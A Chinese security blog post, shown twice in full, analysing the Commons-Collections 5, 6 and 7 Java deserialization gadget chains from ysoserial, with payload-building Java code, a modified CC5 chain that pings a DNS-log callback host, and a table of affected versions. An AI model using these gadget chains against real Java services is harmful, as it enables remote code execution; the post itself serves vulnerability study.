还债系列-Java反序列化链条分析补全(3)-CC5,6,7
Ebounce
撰写于 2022年 07月 28 日

还债系列-Java反序列化链条分析补全(3)-CC5,6,7

前言

后续待分析的链条已经不多了,因此三个链条并到一篇里面写了,有了前面四个链条的分析基础,相信在看后面的利用链,大家已经很得心应手了,还有一样首先给出ysoserial标注的适用范围。

适用范围:
CommonCollections5 :commons-collections:3.1
CommonCollections6 :commons-collections:3.1
CommonCollections7 :commons-collections:3.1
<!--more-->

CC5链分析

首先第一步先看ysoserial给出的利用触发链和本体构造的编写:
20220714144458

这里出现了两个新类,BadAttributeValueExpException和TiedMapEntry。后面的地方都是老朋友了,但是也有奇怪的地方InvokerTransformer被构造了三次,这里我们能够看出是将命令执行的反射构造,分三次进行,但是别担心,我们一个个来看。

BadAttributeValueExpException

来看看该类的readObject方法,根据上面给出的触发链,这里readObject需要调用某值的toString方法:

20220714145844

这里看下来比较存疑的是头两句,这里很显然将传入一个字节流对象,然后获得他的属性,随后通过名字得到这个val属性,然后判断得到val值,是否为null,是否为字符串,如果不是进入后续判断。这里会判断是否开始安全管理器和一些基础类型,如果满足,才会成功调用到val.toString()方法。

这里比较明显val可控,且我们传入的val肯定不会是这些基本类型,所以该链条使用硬性条件,还有不开启getSecurityManager。

TiedMapEntry

从触发链来看,其目的很明确,就是能够调用到LazyMap的get方法,TiedMapEntry的toString方法如下:

20220714150327

非常简单,这里会返回一个字符串,但是也会同时调用TiedMapEntry的getKey方法和getValue方法:

20220714150538

很显然这里触发点就是getValue方法了,这里直接调用了属性map的get方法,因此,我们需要将TiedMapEntry的map属性设置成为LazyMap。后面的过程也就没什么好说的了,这个触发过程大家都比较熟悉,但是还有一个问题,阅读ysoyserial源码时,看到没有使用TemplateImpl利用链,这引起了我的注意,所以我觉得看看如果替换成TemplateImpl利用链,还能不能成功反序列化

TemplateImpl利用链测试

来看ysoserial的源码:

20220714151042

我们知道InvokerTransformer,能直接调用相应类的invoke方法,但是理论上不是也能使用TemplateImpl利用链吗,我们可以先修改一下CC5链查看能否序列化成功。

下面是我们魔改的CC5链条:
这里随意取了个名字CC101链:

public class CommonsCollections101 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

    public BadAttributeValueExpException getObject(final String command) throws Exception {
        final Object template = Gadgets.createTemplatesImpl("ping n7tget.dnslog.cn");
         InvokerTransformer transformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{
                new ConstantTransformer(template),
                transformer
            });
        Reflections.setFieldValue(transformer,"iMethodName","newTransformer");
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);
        return val;
    }
    ......
}

这里很简单的只是将前面命令执行构造的部分换成了TemplateImpl利用链而已,并编写一个非常简单的测试反序列化工具:

public class Ser {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ooi = new ObjectInputStream(new FileInputStream(new File("./1.txt")));
        Object o = ooi.readObject();
        System.out.print(o);
    }
}

如果你使用的是idea中,直接指定参数运行ysoserial,可能会导致无法使用">"符号来导出输出,可以像我一样在ysoserial源码中加入,导出文本的源码。

try {
 final ObjectPayload payload = payloadClass.newInstance();
 final Object object = payload.getObject(command);
 PrintStream out = System.out;
//
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./1.txt")));
    oos.writeObject(object);
//
 Serializer.serialize(object, out);
 ObjectPayload.Utils.releasePayload(payload, object);
}

下面是我本机的几个测试环境结果:
jdk7_21:
20220715121433
虽然报错但并不影响命令执行:
20220715121523

jdk8_72也可成功触发:
20220715122156

20220715122351

jdk8_211也可触发:
20220715122604
20220715122534

那么目前看来用TemplateImpl利用链的原因应该不是版本问题,这里我猜测可能和生成的字节码长度有关:

20220715122835

我们可以看到CC101的payload长度是CC5的两倍左右,因此从实际应用中考虑到HTTP包的解析长度限制,payload长度应该越小越好。

这是我个人思考决定CC5链条不采用TemplateImpl利用链的原因,如果有师傅还有别的想法,欢迎一起来讨论一下。

CC6链条分析

先来看看ysoserial给出的利用链:

20220718101055

这条利用链没有给出新类,还是原来的老套餐的组合,再来看看ysoserial是如何构造这条利用链的:


public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

    public Serializable getObject(final String command) throws Exception {

        ......省略反射执行的代码

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

    }

CC6的代码看着就要比其他链条更复杂一点了,我们直接动态调试,看看最后构造的各个部分都是什么状态:

20220718102249

看来正常情况下是走的map->table的路线,由于LazyMap到transformer到触发我们已经很熟悉了,因此我们只看前面的路线。

map -> table 梳理

很庆幸这个阶段都是在HashSet类中发生的,在反序列化触发中,首先肯定是触发的readObject方法,方法体很长如下:


private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " +
                                             capacity);
        }
        float loadFactor = s.readFloat();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        }
        int size = s.readInt();
        if (size < 0) {
            throw new InvalidObjectException("Illegal size: " +
                                             size);
        }
        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                HashMap.MAXIMUM_CAPACITY);
        SharedSecrets.getJavaOISAccess()
                     .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

这里readObject首先触发了put方法接着跟:

20220718110326

put方法很简单,这里调用了hash函数,来运算key值的hash值,然后根据得到的keyhash来填充整个HashSet,接着来看Hash函数:

20220718103840

这里会调用HashCode函数,如果key值不为null,而hashCode函数是一个接口,具体实现需要看具体调用了哪个类,通过给出的利用链和代码,我们知道这里的类是TiedMapEntry类,来看看其hashcode方法:

20220718104330

根据利用链,这里触发入口在getValue方法,继续跟:
20220718104550

调用map的get方法,这个时候我们可以将map设置成为LazyMap,
20220718111729

后续的内容就和CC3链差不多了,具体可以看上篇文章,这里不多赘述了。跟完我们发现还是没有给出为什么需要try->catch的信息,这里idea提示无法找到该属性,但鉴于这个链条是受jdk版本最小的链条,猜测是在某个版本下的jdk,HashSet中的属性名不一样,才需要这样try->catch进行设置。

经过各种百度终于找到了,原来CC6链是为了兼容早期jdk版本,大概在古早的jdk6中,HashSet存在这些属性,但是可靠性未知,具体链接如下:

JDK1.6之HashSet详解

CC7链条分析

同样的还是先来看ysoserial给出的利用链

20220719113321

有了前面的分析经验,我们先来增提看看这个触发链条,首先这个最开始的触发点使用了Hashtable类,中间通过LazyMap类链接触发点和transformer触发链条,最后是很常规的使用反射执行命令的过程,这两个部分就不做介绍了,因此我们主要来看Hashtable的触发过程和ysoserial是如何构造的。

HashTable触发过程

HashTable的作用正如前面讲的一样,是为了链接LazyMap,而LazyMap的最终目的是调用get方法,因此HashTable的最终目的一定是能调用某类的get方法。
20220728135425
readObject方法常规性的使用了defaultReadObject进行类的反序列化,后续的处理根据调用链显示,是调用了reconstitutionPut方法,我们进一步跟进:
20220728135734

这里会取出Hashtable中的每一个键值对进行操作,然后进入判断,判断运算的hash和键值对hash是否一致,然后再调用键值对key类的equals方法,根据我们构造时的情况,这里的键值为其实就是lazyMap类
20220728140143
而lazyMap类,这里就不再进一步跟进了,equal方法会进一步处理,调用get方法,从而让整个触发链能够顺利进行。
20220728140537

CC链整体总结

  • jdk7 - CC1,CC3
  • jdk7,jdk8 - CC5,CC6,CC7
  • commons-collections<=3.1 - CC1,CC3,CC5,CC6,CC7
  • commons-collections<=3.2.1 - CC1,CC3,CC5,CC6,CC7
  • commons-collections=4.0 - CC2,CC4

起点:

  • AnnotationInvocationHandler.readObject
  • BadAttributeValueExpException.readObject
  • HashSet.readObject
  • Hashtable.readObject
    承接点:
  • LazyMap.get
  • DefaultedMap.get
  • TiedMapEntry.getValue
  • Proxy.invoke
    终点
  • ChainedTransformer.transform
  • InvokerTransformer.transform
  • ConstantTransformer.transform

参考文章

还债系列-Java反序列化链条分析补全(3)-CC5,6,7

还债系列-Java反序列化链条分析补全(3)-CC5,6,7

前言

后续待分析的链条已经不多了,因此三个链条并到一篇里面写了,有了前面四个链条的分析基础,相信在看后面的利用链,大家已经很得心应手了,还有一样首先给出ysoserial标注的适用范围。

适用范围:
CommonCollections5 :commons-collections:3.1
CommonCollections6 :commons-collections:3.1
CommonCollections7 :commons-collections:3.1
<!--more-->

CC5链分析

首先第一步先看ysoserial给出的利用触发链和本体构造的编写:
20220714144458

这里出现了两个新类,BadAttributeValueExpException和TiedMapEntry。后面的地方都是老朋友了,但是也有奇怪的地方InvokerTransformer被构造了三次,这里我们能够看出是将命令执行的反射构造,分三次进行,但是别担心,我们一个个来看。

BadAttributeValueExpException

来看看该类的readObject方法,根据上面给出的触发链,这里readObject需要调用某值的toString方法:

20220714145844

这里看下来比较存疑的是头两句,这里很显然将传入一个字节流对象,然后获得他的属性,随后通过名字得到这个val属性,然后判断得到val值,是否为null,是否为字符串,如果不是进入后续判断。这里会判断是否开始安全管理器和一些基础类型,如果满足,才会成功调用到val.toString()方法。

这里比较明显val可控,且我们传入的val肯定不会是这些基本类型,所以该链条使用硬性条件,还有不开启getSecurityManager。

TiedMapEntry

从触发链来看,其目的很明确,就是能够调用到LazyMap的get方法,TiedMapEntry的toString方法如下:

20220714150327

非常简单,这里会返回一个字符串,但是也会同时调用TiedMapEntry的getKey方法和getValue方法:

20220714150538

很显然这里触发点就是getValue方法了,这里直接调用了属性map的get方法,因此,我们需要将TiedMapEntry的map属性设置成为LazyMap。后面的过程也就没什么好说的了,这个触发过程大家都比较熟悉,但是还有一个问题,阅读ysoyserial源码时,看到没有使用TemplateImpl利用链,这引起了我的注意,所以我觉得看看如果替换成TemplateImpl利用链,还能不能成功反序列化

TemplateImpl利用链测试

来看ysoserial的源码:

20220714151042

我们知道InvokerTransformer,能直接调用相应类的invoke方法,但是理论上不是也能使用TemplateImpl利用链吗,我们可以先修改一下CC5链查看能否序列化成功。

下面是我们魔改的CC5链条:
这里随意取了个名字CC101链:

public class CommonsCollections101 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

    public BadAttributeValueExpException getObject(final String command) throws Exception {
        final Object template = Gadgets.createTemplatesImpl("ping n7tget.dnslog.cn");
         InvokerTransformer transformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{
                new ConstantTransformer(template),
                transformer
            });
        Reflections.setFieldValue(transformer,"iMethodName","newTransformer");
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);
        return val;
    }
    ......
}

这里很简单的只是将前面命令执行构造的部分换成了TemplateImpl利用链而已,并编写一个非常简单的测试反序列化工具:

public class Ser {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ooi = new ObjectInputStream(new FileInputStream(new File("./1.txt")));
        Object o = ooi.readObject();
        System.out.print(o);
    }
}

如果你使用的是idea中,直接指定参数运行ysoserial,可能会导致无法使用">"符号来导出输出,可以像我一样在ysoserial源码中加入,导出文本的源码。

try {
 final ObjectPayload payload = payloadClass.newInstance();
 final Object object = payload.getObject(command);
 PrintStream out = System.out;
//
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./1.txt")));
    oos.writeObject(object);
//
 Serializer.serialize(object, out);
 ObjectPayload.Utils.releasePayload(payload, object);
}

下面是我本机的几个测试环境结果:
jdk7_21:
20220715121433
虽然报错但并不影响命令执行:
20220715121523

jdk8_72也可成功触发:
20220715122156

20220715122351

jdk8_211也可触发:
20220715122604
20220715122534

那么目前看来用TemplateImpl利用链的原因应该不是版本问题,这里我猜测可能和生成的字节码长度有关:

20220715122835

我们可以看到CC101的payload长度是CC5的两倍左右,因此从实际应用中考虑到HTTP包的解析长度限制,payload长度应该越小越好。

这是我个人思考决定CC5链条不采用TemplateImpl利用链的原因,如果有师傅还有别的想法,欢迎一起来讨论一下。

CC6链条分析

先来看看ysoserial给出的利用链:

20220718101055

这条利用链没有给出新类,还是原来的老套餐的组合,再来看看ysoserial是如何构造这条利用链的:


public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

    public Serializable getObject(final String command) throws Exception {

        ......省略反射执行的代码

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

    }

CC6的代码看着就要比其他链条更复杂一点了,我们直接动态调试,看看最后构造的各个部分都是什么状态:

20220718102249

看来正常情况下是走的map->table的路线,由于LazyMap到transformer到触发我们已经很熟悉了,因此我们只看前面的路线。

map -> table 梳理

很庆幸这个阶段都是在HashSet类中发生的,在反序列化触发中,首先肯定是触发的readObject方法,方法体很长如下:


private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " +
                                             capacity);
        }
        float loadFactor = s.readFloat();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        }
        int size = s.readInt();
        if (size < 0) {
            throw new InvalidObjectException("Illegal size: " +
                                             size);
        }
        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                HashMap.MAXIMUM_CAPACITY);
        SharedSecrets.getJavaOISAccess()
                     .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

这里readObject首先触发了put方法接着跟:

20220718110326

put方法很简单,这里调用了hash函数,来运算key值的hash值,然后根据得到的keyhash来填充整个HashSet,接着来看Hash函数:

20220718103840

这里会调用HashCode函数,如果key值不为null,而hashCode函数是一个接口,具体实现需要看具体调用了哪个类,通过给出的利用链和代码,我们知道这里的类是TiedMapEntry类,来看看其hashcode方法:

20220718104330

根据利用链,这里触发入口在getValue方法,继续跟:
20220718104550

调用map的get方法,这个时候我们可以将map设置成为LazyMap,
20220718111729

后续的内容就和CC3链差不多了,具体可以看上篇文章,这里不多赘述了。跟完我们发现还是没有给出为什么需要try->catch的信息,这里idea提示无法找到该属性,但鉴于这个链条是受jdk版本最小的链条,猜测是在某个版本下的jdk,HashSet中的属性名不一样,才需要这样try->catch进行设置。

经过各种百度终于找到了,原来CC6链是为了兼容早期jdk版本,大概在古早的jdk6中,HashSet存在这些属性,但是可靠性未知,具体链接如下:

JDK1.6之HashSet详解

CC7链条分析

同样的还是先来看ysoserial给出的利用链

20220719113321

有了前面的分析经验,我们先来增提看看这个触发链条,首先这个最开始的触发点使用了Hashtable类,中间通过LazyMap类链接触发点和transformer触发链条,最后是很常规的使用反射执行命令的过程,这两个部分就不做介绍了,因此我们主要来看Hashtable的触发过程和ysoserial是如何构造的。

HashTable触发过程

HashTable的作用正如前面讲的一样,是为了链接LazyMap,而LazyMap的最终目的是调用get方法,因此HashTable的最终目的一定是能调用某类的get方法。
20220728135425
readObject方法常规性的使用了defaultReadObject进行类的反序列化,后续的处理根据调用链显示,是调用了reconstitutionPut方法,我们进一步跟进:
20220728135734

这里会取出Hashtable中的每一个键值对进行操作,然后进入判断,判断运算的hash和键值对hash是否一致,然后再调用键值对key类的equals方法,根据我们构造时的情况,这里的键值为其实就是lazyMap类
20220728140143
而lazyMap类,这里就不再进一步跟进了,equal方法会进一步处理,调用get方法,从而让整个触发链能够顺利进行。
20220728140537

CC链整体总结

  • jdk7 - CC1,CC3
  • jdk7,jdk8 - CC5,CC6,CC7
  • commons-collections<=3.1 - CC1,CC3,CC5,CC6,CC7
  • commons-collections<=3.2.1 - CC1,CC3,CC5,CC6,CC7
  • commons-collections=4.0 - CC2,CC4

起点:

  • AnnotationInvocationHandler.readObject
  • BadAttributeValueExpException.readObject
  • HashSet.readObject
  • Hashtable.readObject
    承接点:
  • LazyMap.get
  • DefaultedMap.get
  • TiedMapEntry.getValue
  • Proxy.invoke
    终点
  • ChainedTransformer.transform
  • InvokerTransformer.transform
  • ConstantTransformer.transform

参考文章

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论